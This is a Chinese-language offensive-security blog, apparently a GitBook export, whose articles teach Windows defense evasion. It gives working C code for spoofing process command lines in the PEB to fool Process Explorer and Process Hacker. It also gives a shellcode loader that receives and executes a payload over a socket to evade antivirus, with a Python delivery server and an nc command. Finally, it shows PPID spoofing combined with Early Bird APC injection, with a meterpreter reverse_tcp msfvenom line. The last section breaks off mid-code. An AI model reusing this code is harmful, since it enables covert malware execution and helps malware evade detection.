typedef DWORD(*pNtQueryInformationProcess) (HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);

int main()
{

	ULONG lenght = 0;
	HMODULE hModule;
	PROCESS_BASIC_INFORMATION ProcessInformation;
	pNtQueryInformationProcess NtQueryInformationProcess;
	wchar_t CommandLine[] = L"C:\\Windows\\system32\\cmd.exe /c dir";
	//.&& whoami / priv && pause"
	wchar_t CurrentDirectory[] = L"C:\\Windows\\system32\\";

	hModule = LoadLibraryA("ntdll.dll");

	STARTUPINFOA si = { 0 };
	si.cb = sizeof(si);
	PROCESS_INFORMATION pi = { 0 };

	CreateProcessA(NULL, (LPSTR)"C:\\Windows\\system32\\cmd.exe /c whoami", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

	NtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(hModule, "NtQueryInformationProcess");
	NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &ProcessInformation, sizeof(ProcessInformation), &lenght);
	
	RTL_USER_PROCESS_PARAMETERS rupp = { 0 };
	PEB peb = { 0 };

	ReadProcessMemory(pi.hProcess, ProcessInformation.PebBaseAddress, &peb, sizeof(peb), NULL);
	ReadProcessMemory(
		pi.hProcess,
		peb.ProcessParameters,
		&rupp,
		sizeof(RTL_USER_PROCESS_PARAMETERS)
		, NULL);

	WriteProcessMemory(pi.hProcess, (LPVOID)rupp.CommandLine.Buffer, CommandLine, sizeof(CommandLine), NULL);
	ResumeThread(pi.hThread);

	return 0;
}
```

执行了修改后的参数:&#x20;

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M9Iz8-nP4kL_wiSbgyQ%2F-M9IzolXWvv3VrRO8hkQ%2Fimage.png?alt=media\&token=ecde96dc-d4c8-4d97-880f-0e4165f31f4d)

## 扩展利用

前面我们说了process hacker和process explorer等进程监视工具会从peb内直接读取commandline的内容，这时就有小朋友要问了，那我们这么做不是会被发现吗(不皮了不皮了)。

实际上这么做确实会被此类工具发现明显异常，但由于操作系统读取数据和此类工具读取数据存在一定差异，我们可以利用这样的读取差异来隐藏我们真实的参数。

由于进程监视工具(啃过源码)会先读取commandline的length，根据length的值来读取commandline.buffer的内容，而操作系统则由是通过'\x00'来判断字符串是否结束。

这时我们可以写入一个比length更长的命令让监视工具的读取不完全，那么我们就可以在此类工具中伪装commandline。

### 代码

```
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>


typedef DWORD(*pNtQueryInformationProcess) (HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);

int main()
{

	ULONG lenght = 0;
	HMODULE hModule;
	PROCESS_BASIC_INFORMATION ProcessInformation;
	pNtQueryInformationProcess NtQueryInformationProcess;
	wchar_t CommandLine[] = L"C:\\Windows\\system32\\cmd.exe /c dir . && whoami /priv && pause";

	wchar_t CurrentDirectory[] = L"C:\\Windows\\system32\\";

	hModule = LoadLibraryA("ntdll.dll");

	STARTUPINFOA si = { 0 };
	si.cb = sizeof(si);
	PROCESS_INFORMATION pi = { 0 };

	CreateProcessA(NULL, (LPSTR)"C:\\Windows\\system32\\cmd.exe /c whoami", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

	NtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(hModule, "NtQueryInformationProcess");
	NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &ProcessInformation, sizeof(ProcessInformation), &lenght);
	
	RTL_USER_PROCESS_PARAMETERS rupp = { 0 };
	PEB peb = { 0 };

	ReadProcessMemory(pi.hProcess, ProcessInformation.PebBaseAddress, &peb, sizeof(peb), NULL);
	ReadProcessMemory(
		pi.hProcess,
		peb.ProcessParameters,
		&rupp,
		sizeof(RTL_USER_PROCESS_PARAMETERS)
		, NULL);

	WriteProcessMemory(pi.hProcess, (LPVOID)rupp.CommandLine.Buffer, CommandLine, sizeof(CommandLine), NULL);
	ResumeThread(pi.hThread);

	return 0;
}
```

### 实现效果

![process explorer](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M9Iz8-nP4kL_wiSbgyQ%2F-M9J1EnKK5IE1czwbRAs%2Fimage.png?alt=media\&token=856841d7-c452-4c1b-bc03-9b21b6bd3569)

![process hacker](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M9Iz8-nP4kL_wiSbgyQ%2F-M9J1VCfXRL5s6n9LldB%2Fimage.png?alt=media\&token=e009944e-c1a6-44f0-9bb9-cd41c888c39f)

![dir . && whoami /priv && pause](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M9Iz8-nP4kL_wiSbgyQ%2F-M9J1JVaPdSHpOnxbupc%2Fimage.png?alt=media\&token=21b82f19-6105-42cf-ac95-710b2a42b64a)

## LINKS

{% embed url="<https://app.gitbook.com/@idiotc4t/s/idiotc4t-s-blog/~/drafts/-M9J1qlIVoEe-n1mUrUo/defense-evasion/fake-commandline>" %}

{% embed url="<https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/>" %}


# 简单的分离免杀

## 简介

通常杀毒软件会匹配静态特征来进行恶意软件的识别，虽然现在有很多行为查杀的引擎，但个人认为杀毒软件仍旧已特征码为主，行为免杀很大程度上是监控windows api，而这些恶意软件使用的api往往都是和合法软件是一致的，这也成为了行为查杀技术的桎梏，很多恶意软件只要换个不同的编译环境，就能不被杀毒软件注意到从而绕过杀毒软件。

本文鉴于目前杀毒软件仍旧以特征库为主，将病毒代码体和执行体分离，从而规避特征免杀。

## 流程

1. 在受害者电脑上打开个侦听端口，分配可执行内存
2. 等待传入 payload
3. 连接到受害者侦听端口，将 shellcode 作为二进制数据发送
4. 受害者将 shellcode 拷入可执行内存
5. 执行 shellcode，由 metasploit 接管 session

## 代码实现

给出代码是监听端口等待连接的，也可以做简单修改做成反向连接的。

```
#include <WinSock2.h>
#include <WS2tcpip.h>
#include <iostream>
#include <Windows.h>
#pragma comment(lib, "ws2_32.lib")
int main(void)
{
LPWSADATA wsaData = new WSAData();
SOCKET listenSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
CHAR bufferReceivedBytes[4096] = { 0 };
INT RecvBytes = 0;
PCSTR port = "477";
ADDRINFOA* SocketHint = new ADDRINFOA();
ADDRINFOA* AddrInfo = new ADDRINFOA();
SocketHint->ai_family = AF_INET;
SocketHint->ai_socktype = SOCK_STREAM;
SocketHint->ai_protocol = IPPROTO_TCP;
SocketHint->ai_flags = AI_PASSIVE;
WSAStartup(MAKEWORD(2, 2), wsaData);
GetAddrInfoA(NULL, port, SocketHint, &AddrInfo);
listenSocket = socket(AddrInfo->ai_family, AddrInfo->ai_socktype,
AddrInfo->ai_protocol);
bind(listenSocket, AddrInfo->ai_addr, AddrInfo->ai_addrlen);
listen(listenSocket, SOMAXCONN);
ClientSocket = accept(listenSocket, NULL, NULL);
RecvBytes = recv(ClientSocket, bufferReceivedBytes, sizeof(bufferReceivedBytes),
NULL);
LPVOID shellcode = VirtualAlloc(NULL, RecvBytes, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(shellcode, bufferReceivedBytes, sizeof(bufferReceivedBytes));
((void(*)()) shellcode)();
return 0;
}
```

## 实现效果

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M5KUebUlTlh_xszUVKv%2F-M5KUrAI7I83BMWWga08%2Fimage.png?alt=media\&token=939e693d-0261-40cf-9803-0dd8c3138eec)

端口已经开始侦听 我们使用 msf 生成 shellcode 并通过 nc 交付给受害者

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M5KUebUlTlh_xszUVKv%2F-M5KUzXRwFny04EjkSv2%2Fimage.png?alt=media\&token=b6068e0d-be66-40fc-a129-4ef0147c32ce)

生成一段 c 格式的 shellcode

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M5KUebUlTlh_xszUVKv%2F-M5KV9-mJ5YEEIcoNtPb%2Fimage.png?alt=media\&token=08ddf921-b2c9-4524-bfc1-73dcfac12a5b)

处理一下变成一句字符串的形式

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M5KUebUlTlh_xszUVKv%2F-M5KVGc-7MVFGgqKJUx_%2Fimage.png?alt=media\&token=cf836336-1561-4c5c-abc9-989387d04d57)

```
echo -e “shellcode-line” |nc  ip port
```

可以使用简单的python服务器传递shellcode

```
import socket
import threading
import time  

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('127.0.0.1', 36444)) # 公网地址
    s.listen(20)
    timeout = 10
    socket.setdefaulttimeout(timeout)
    while True:
        sock, addr = s.accept()
        t = threading.Thread(target=tcplink, args=(sock, addr))
        t.start()


def tcplink(sock, addr):
    print('Start download shellcode %s:%s...' % addr)
    shellcode = b'1111111' #your shellcode
    print(len(shellcode))
    while True:
        data = sock.recv(1024)
        time.sleep(3)
        sock.send(shellcode)
        sock.close()
    print('Finish %s:%s ' % addr)


if __name__ == '__main__':
    main()
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M5KUebUlTlh_xszUVKv%2F-M5KVTYL9ZsEz9QOmHmT%2Fimage.png?alt=media\&token=c102147a-0d71-4b0f-ab86-85fd138947c1)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M5KUebUlTlh_xszUVKv%2F-M5KVXODS1UUFxlwSuKM%2Fimage.png?alt=media\&token=ef65f854-18fc-4147-869a-25bd02d11db3)


# 伪装PPID规避检测

fake-PPID

## UAC创建进程的过程的疑惑

> 在触发UAC时，操作系统会创建一个名为consent.exe的进程，该进程通过白名单和用户选择来确定是否提升权限。 请求进程将要提升权限的进程的commandline和程序路径通过LPC(Local Procedure Call)接口传递给appinfo的RAiluanchAdminProcess函数，该函数首先会验证传入程序是否在白名单内同时判断是否弹出UAC窗口，这个UAC框会创建新的安全桌面，屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程，其他普通进程也无法和其进行通信交互。用户确认之后，会调用CreateProcessAsUser函数以管理员权限启动请求的进程。

\
\
触发UAC创建进程的过程中,我们可以知道实际上高权限的进程是由consent.exe进程创建的，但实际上父进程并非指向consent.exe任就是UAC发起者的进程ID，那么我们是否可以自己指定父进程，增加判断成本从而使蓝队脑阔疼。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3OskQEazkbVW80gQwl%2F-M3OszySbh10aHoFEjtX%2Fimage.png?alt=media\&token=aab56af7-206c-4e2a-ba43-d3c6a2afa015)

![父进程并非consent.exe](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3OskQEazkbVW80gQwl%2F-M3OtEvJWftUaeQ5pJv8%2Fimage.png?alt=media\&token=b5cd5e08-7c93-499f-954a-ea293fe49c01)

## CreateProcessAsUser函数

最终创建函数的是由consent.exe调用的CreateProcessAsUser函数，那我们猜测是否是consent.exe调用时指定了某些参数，导致PPID的更换。

* 在官方文档中给出了如下原型:

```
BOOL CreateProcessAsUserA(
  HANDLE                hToken,
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);
```

查询官方文档得知，如果在dwCreationFlags中EXTENDED\_STARTUPINFO\_PRESENT标准，那么lpStartupInfo传入的就会是一个名为STARTUPINFOEXA的结构体，而这个结构体能指定父进程的相关信息，最终传入的PPID会被写入到新进程\_eprocess结构体的InheritedFromUniqueProcessId位置。

```
typedef struct _STARTUPINFOEXA {
  STARTUPINFOA                 StartupInfo;
  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;
```

根据查询的文档,CreateProcess函数同样也支持STARTUPINFOEXA结构体。

## 伪装PPID创建iexplore.exe

* 寻找explorer.exe的pid

```
DWORD FindExplorerPID() {
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);

    if (Process32First(snapshot, &process)) {
        do {
            if (!wcscmp(process.szExeFile, L"explorer.exe"))
                break;
        } while (Process32Next(snapshot, &process));
    }

    CloseHandle(snapshot);
    return process.th32ProcessID;
}
```

```
int main() {

    STARTUPINFOEXA siex = {0};
    SIZE_T Size;
    siex.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    HANDLE hFake = OpenProcess(PROCESS_ALL_ACCESS, false, FindExplorerPID());

    InitializeProcThreadAttributeList(NULL, 1, 0, &Size);
    siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, Size);
    InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &Size);

    UpdateProcThreadAttribute(siex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hFake, sizeof(HANDLE), NULL, NULL);
    

    CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFOA)&siex, NULL);
    //PS:这里有个小坑，需要开启继承句柄
    return 0;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3P9IZs-rgiLjMEUF2-%2F-M3PElKbhH_vwDP6L3np%2Fimage.png?alt=media\&token=6a4d8e63-0e5a-4169-8486-5a87620951e9)

## 与进程注入技术EARLYBIRD搭配使用

```
#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>


DWORD FindExplorerPID() {
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);

    if (Process32First(snapshot, &process)) {
        do {
            if (!wcscmp(process.szExeFile, L"explorer.exe"))
                break;
        } while (Process32Next(snapshot, &process));
    }

    CloseHandle(snapshot);
    return process.th32ProcessID;
}

int main() {

    //msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/xor_dynamic -i 14 LHOST=192.168.0.109 EXITFUNC=thread -f
    unsigned char shellcode[] = ("XXX");


    STARTUPINFOEXA siex;
    PROCESS_INFORMATION piex;
    SIZE_T sizeT;
    siex.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, FindExplorerPID());

    InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
    siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);
    InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &sizeT);
    UpdateProcThreadAttribute(siex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);
    

    CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFOA)&siex, &piex);

    LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(piex.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(piex.hProcess, lpBaseAddress, (LPVOID)shellcode, sizeof(shellcode), NULL);
    QueueUserAPC((PAPCFUNC)lpBaseAddress, piex.hThread, NULL);
    ResumeThread(piex.hThread);
    CloseHandle(piex.hThread);

    return 0;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3PITj2VoVhe-CBdbsR%2F-M3PIZ7QVZ1RCqxkmVyw%2Fimage.png?alt=media\&token=09f024e9-6da6-44b7-a3c2-3a5c68d36390)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3PITj2VoVhe-CBdbsR%2F-M3PIkzGMnkP_fwOgvfy%2Fimage.png?alt=media\&token=f2060d05-e437-4974-a066-59218da6d19e)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3PITj2VoVhe-CBdbsR%2F-M3PIwJ1EmXvixXuaKpS%2Fimage.png?alt=media\&token=f15e0767-7aa0-4508-9b2e-2863909c5b2d)

* github:<https://github.com/idiotc4t/FakePPID>

## LINKS

{% embed url="<https://www.securitynewspaper.com/2018/04/17/new-early-bird-code-injection-technique/>" %}

{% embed url="<https://docs.microsoft.com/zh-cn/windows/win32/api>" %}


# 伪装命令行规避检测

## 简介

在蓝队排查恶意进程过程中，经常会使用processexplorer等进程检查工具进行详细的检测，而通常的恶意进程往往特征会比较明显，这种技术通过伪造PEB进程环境块来伪装自己，让自己的特征不那么明显，从而增加一点存活率。

## 手工操作

在windbg中我们可以比较方便的获取当前附加进程的PEB,由于PEB存储在用户空间，所以不需要进行内核级的操作我们就能对其修改，在ring3用户层x86系统下PEB通常存储在fs:\[30]的位置，而x64系统则有细微差异，存储在gs:\[0x60]的位置，在x86系统中我们通常使用内联汇编的方式获取peb的地址，而在x64中这种方式在编写上不那么方便，所以使用另一种利用操作系统函数NtQueryInformationProcess函数获取。

查看当前进程PEB。

```
0:001> dt _peb @$peb
ntdll!_PEB
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''
   +0x003 BitField         : 0x4 ''
   +0x003 ImageUsesLargePages : 0y0
   +0x003 IsProtectedProcess : 0y0
   +0x003 IsImageDynamicallyRelocated : 0y1
   +0x003 SkipPatchingUser32Forwarders : 0y0
   +0x003 IsPackagedProcess : 0y0
   +0x003 IsAppContainer   : 0y0
   +0x003 IsProtectedProcessLight : 0y0
   +0x003 IsLongPathAwareProcess : 0y0
   +0x004 Padding0         : [4]  ""
   +0x008 Mutant           : 0xffffffff`ffffffff Void
   +0x010 ImageBaseAddress : 0x00007ff6`90600000 Void
   +0x018 Ldr              : 0x00007ffc`46fa53c0 _PEB_LDR_DATA
   +0x020 ProcessParameters : 0x00000240`e4b220e0 _RTL_USER_PROCESS_PARAMETERS
   +0x028 SubSystemData    : (null) 
   +0x030 ProcessHeap      : 0x00000240`e4b20000 Void
   +0x038 FastPebLock      : 0x00007ffc`46fa4fe0 _RTL_CRITICAL_SECTION
   +0x040 AtlThunkSListPtr : (null) 
   +0x048 IFEOKey          : (null) 
   +0x050 CrossProcessFlags : 0
   +0x050 ProcessInJob     : 0y0
   +0x050 ProcessInitializing : 0y0
   +0x050 ProcessUsingVEH  : 0y0
   +0x050 ProcessUsingVCH  : 0y0
   +0x050 ProcessUsingFTH  : 0y0
   +0x050 ProcessPreviouslyThrottled : 0y0
   +0x050 ProcessCurrentlyThrottled : 0y0
   +0x050 ProcessImagesHotPatched : 0y0
   +0x050 ReservedBits0    : 0y000000000000000000000000 (0)
   +0x054 Padding1         : [4]  ""
   +0x058 KernelCallbackTable : (null) 
   +0x058 UserSharedInfoPtr : (null) 
   +0x060 SystemReserved   : 0
   +0x064 AtlThunkSListPtr32 : 0
   +0x068 ApiSetMap        : 0x00000240`e49a0000 Void
   +0x070 TlsExpansionCounter : 0
   +0x074 Padding2         : [4]  ""
   +0x078 TlsBitmap        : 0x00007ffc`46fa5340 Void
   +0x080 TlsBitmapBits    : [2] 0x10011
   +0x088 ReadOnlySharedMemoryBase : 0x00007df4`bc970000 Void
   +0x090 SharedData       : (null) 
   +0x098 ReadOnlyStaticServerData : 0x00007df4`bc970750  -> (null) 
   +0x0a0 AnsiCodePageData : 0x00007df5`beab0000 Void
   +0x0a8 OemCodePageData  : 0x00007df5`beab0000 Void
   +0x0b0 UnicodeCaseTableData : 0x00007df5`beae0028 Void
   +0x0b8 NumberOfProcessors : 0xc
   +0x0bc NtGlobalFlag     : 0
   +0x0c0 CriticalSectionTimeout : _LARGE_INTEGER 0xffffe86d`079b8000
   +0x0c8 HeapSegmentReserve : 0x100000
   +0x0d0 HeapSegmentCommit : 0x2000
   +0x0d8 HeapDeCommitTotalFreeThreshold : 0x10000
   +0x0e0 HeapDeCommitFreeBlockThreshold : 0x1000
   +0x0e8 NumberOfHeaps    : 3
   +0x0ec MaximumNumberOfHeaps : 0x10
   +0x0f0 ProcessHeaps     : 0x00007ffc`46fa3c40  -> 0x00000240`e4b20000 Void
   +0x0f8 GdiSharedHandleTable : (null) 
   +0x100 ProcessStarterHelper : (null) 
   +0x108 GdiDCAttributeList : 0
   +0x10c Padding3         : [4]  ""
   +0x110 LoaderLock       : 0x00007ffc`46f9f4f8 _RTL_CRITICAL_SECTION
   +0x118 OSMajorVersion   : 0xa
   +0x11c OSMinorVersion   : 0
   +0x120 OSBuildNumber    : 0x47bb
   +0x122 OSCSDVersion     : 0
   +0x124 OSPlatformId     : 2
   +0x128 ImageSubsystem   : 3
   +0x12c ImageSubsystemMajorVersion : 0xa
   +0x130 ImageSubsystemMinorVersion : 0
   +0x134 Padding4         : [4]  ""
   +0x138 ActiveProcessAffinityMask : 0xfff
   +0x140 GdiHandleBuffer  : [60] 0
   +0x230 PostProcessInitRoutine : (null) 
   +0x238 TlsExpansionBitmap : 0x00007ffc`46fa5320 Void
   +0x240 TlsExpansionBitmapBits : [32] 1
   +0x2c0 SessionId        : 3
   +0x2c4 Padding5         : [4]  ""
   +0x2c8 AppCompatFlags   : _ULARGE_INTEGER 0x0
   +0x2d0 AppCompatFlagsUser : _ULARGE_INTEGER 0x0
   +0x2d8 pShimData        : 0x00000240`e49e0000 Void
   +0x2e0 AppCompatInfo    : (null) 
   +0x2e8 CSDVersion       : _UNICODE_STRING ""
   +0x2f8 ActivationContextData : 0x00000240`e49d0000 _ACTIVATION_CONTEXT_DATA
   +0x300 ProcessAssemblyStorageMap : (null) 
   +0x308 SystemDefaultActivationContextData : 0x00000240`e49c0000 _ACTIVATION_CONTEXT_DATA
   +0x310 SystemAssemblyStorageMap : (null) 
   +0x318 MinimumStackCommit : 0
   +0x320 SparePointers    : [4] (null) 
   +0x340 SpareUlongs      : [5] 0
   +0x358 WerRegistrationData : (null) 
   +0x360 WerShipAssertPtr : (null) 
   +0x368 pUnused          : (null) 
   +0x370 pImageHeaderHash : (null) 
   +0x378 TracingFlags     : 0
   +0x378 HeapTracingEnabled : 0y0
   +0x378 CritSecTracingEnabled : 0y0
   +0x378 LibLoaderTracingEnabled : 0y0
   +0x378 SpareTracingBits : 0y00000000000000000000000000000 (0)
   +0x37c Padding6         : [4]  ""
   +0x380 CsrServerReadOnlySharedMemoryBase : 0x00007df4`28530000
   +0x388 TppWorkerpListLock : 0
   +0x390 TppWorkerpList   : _LIST_ENTRY [ 0x0000009c`16855390 - 0x0000009c`16855390 ]
   +0x3a0 WaitOnAddressHashTable : [128] (null) 
   +0x7a0 TelemetryCoverageHeader : (null) 
   +0x7a8 CloudFileFlags   : 0xe0
   +0x7ac CloudFileDiagFlags : 0
   +0x7b0 PlaceholderCompatibilityMode : 2 ''
   +0x7b1 PlaceholderCompatibilityModeReserved : [7]  ""
   +0x7b8 LeapSecondData   : 0x00007df5`beaa0000 _LEAP_SECOND_DATA
   +0x7c0 LeapSecondFlags  : 0
   +0x7c0 SixtySecondEnabled : 0y0
   +0x7c0 Reserved         : 0y0000000000000000000000000000000 (0)
   +0x7c4 NtGlobalFlag2    : 0
```

通过前人的逆向分析，我们知道在ProcessExplorer等工具会从PEB+0x20的位置的\_RTL\_USER\_PROCESS\_PARAMETERS结构体内读取path，commandline等相关数据。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M4RpVqETlJe7n3uWoES%2F-M4Rq2v_uo780nObKma7%2Fimage.png?alt=media\&token=fe0054a0-e57c-4005-95c3-58890aa3a050)

```
ntdll!_RTL_USER_PROCESS_PARAMETERS
   +0x000 MaximumLength    : 0x718
   +0x004 Length           : 0x718
   +0x008 Flags            : 0x6001
   +0x00c DebugFlags       : 0
   +0x010 ConsoleHandle    : 0x00000000`00000050 Void
   +0x018 ConsoleFlags     : 0
   +0x020 StandardInput    : 0x00000000`00000054 Void
   +0x028 StandardOutput   : 0x00000000`00000058 Void
   +0x030 StandardError    : 0x00000000`0000005c Void
   +0x038 CurrentDirectory : _CURDIR
   +0x050 DllPath          : _UNICODE_STRING ""
   +0x060 ImagePathName    : _UNICODE_STRING "C:\Windows\system32\cmd.exe"
   +0x070 CommandLine      : _UNICODE_STRING ""C:\Windows\system32\cmd.exe" "
   +0x080 Environment      : 0x00000240`e4b36440 Void
   +0x088 StartingX        : 0
   +0x08c StartingY        : 0
   +0x090 CountX           : 0
   +0x094 CountY           : 0
   +0x098 CountCharsX      : 0
   +0x09c CountCharsY      : 0
   +0x0a0 FillAttribute    : 0
   +0x0a4 WindowFlags      : 1
   +0x0a8 ShowWindowFlags  : 1
   +0x0b0 WindowTitle      : _UNICODE_STRING "C:\Windows\system32\cmd.exe"
   +0x0c0 DesktopInfo      : _UNICODE_STRING "Winsta0\Default"
   +0x0d0 ShellInfo        : _UNICODE_STRING ""
   +0x0e0 RuntimeData      : _UNICODE_STRING ""
   +0x0f0 CurrentDirectores : [32] _RTL_DRIVE_LETTER_CURDIR
   +0x3f0 EnvironmentSize  : 0x1136
   +0x3f8 EnvironmentVersion : 7
   +0x400 PackageDependencyData : (null) 
   +0x408 ProcessGroupId   : 0x41f0
   +0x40c LoaderThreads    : 0
   +0x410 RedirectionDllName : _UNICODE_STRING ""
   +0x420 HeapPartitionName : _UNICODE_STRING ""
   +0x430 DefaultThreadpoolCpuSetMasks : (null) 
   +0x438 DefaultThreadpoolCpuSetMaskCount : 0

```

可以看到在\_RTL\_USER\_PROCESS\_PARAMETERS+0x60和+0x70的位置存储这我们感兴趣的两个—UNICODE\_STRING结构体，通过查看这两个结构体我们可以知道其指向的字符串存放位置。

```
0:001> dt _UNICODE_STRING 0x00000240`e4b220e0+0x60
ntdll!_UNICODE_STRING
 "C:\Windows\system32\cmd.exe"
   +0x000 Length           : 0x36
   +0x002 MaximumLength    : 0x38
   +0x008 Buffer           : 0x00000240`e4b22728  "C:\Windows\system32\cmd.exe"
0:001> dt _UNICODE_STRING 0x00000240`e4b220e0+0x70
ntdll!_UNICODE_STRING
 ""C:\Windows\system32\cmd.exe" "
   +0x000 Length           : 0x3c
   +0x002 MaximumLength    : 0x3e
   +0x008 Buffer           : 0x00000240`e4b22760  ""C:\Windows\system32\cmd.exe" "
```

将其指向的字符串进行修改，需要注意的是修改字符串的同时最好也要修改该结构体的Lenght的成员，可以看到在修改指针指向内容后，显示会按照我们预期的方式进行。

```
0:001> eu 0x00000240`e4b22728 "C:\\Windows\\System32\\notepad.exe"
0:001> eu 0x00000240`e4b22760 "C:\\Windows\\System32\\pad.exe"
0:001> dt _UNICODE_STRING 0x00000240`e4b220e0+0x60
ntdll!_UNICODE_STRING
 "C:\Windows\System32\notepad"
   +0x000 Length           : 0x36
   +0x002 MaximumLength    : 0x38
   +0x008 Buffer           : 0x00000240`e4b22728  "C:\Windows\System32\notepad"
0:001> dt _UNICODE_STRING 0x00000240`e4b220e0+0x70
ntdll!_UNICODE_STRING
 "C:\Windows\System32\pad.exee" "
   +0x000 Length           : 0x3c
   +0x002 MaximumLength    : 0x3e
   +0x008 Buffer           : 0x00000240`e4b22760  "C:\Windows\System32\pad.exee" "

```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M4RsO4OSNjM1fIBAQIG%2F-M4RsRUg4bS5n4GZZK9h%2Fimage.png?alt=media\&token=fc73a9a3-bcd1-4708-bee0-0d8c8014dac7)

## 代码实现

由于修改指向内存内容的方式比较沙雕，给出的代码会使用修改指针的方式实现。

```
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>


typedef DWORD(*pNtQueryInformationProcess) (HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);

int main()
{
	HANDLE hProcess =0;
	ULONG lenght = 0;
	HANDLE hModule;
	PROCESS_BASIC_INFORMATION ProcessInformation;
	pNtQueryInformationProcess NtQueryInformationProcess;
	wchar_t CommandLine[] = L"C:\\Windows\\system32\\notepad.exe";
	wchar_t CurrentDirectory[] = L"C:\\Windows\\system32\\";

	hModule =  GetModuleHandleA("Ntdll.dll");
	hProcess = GetCurrentProcess();
	NtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(hModule, "NtQueryInformationProcess");
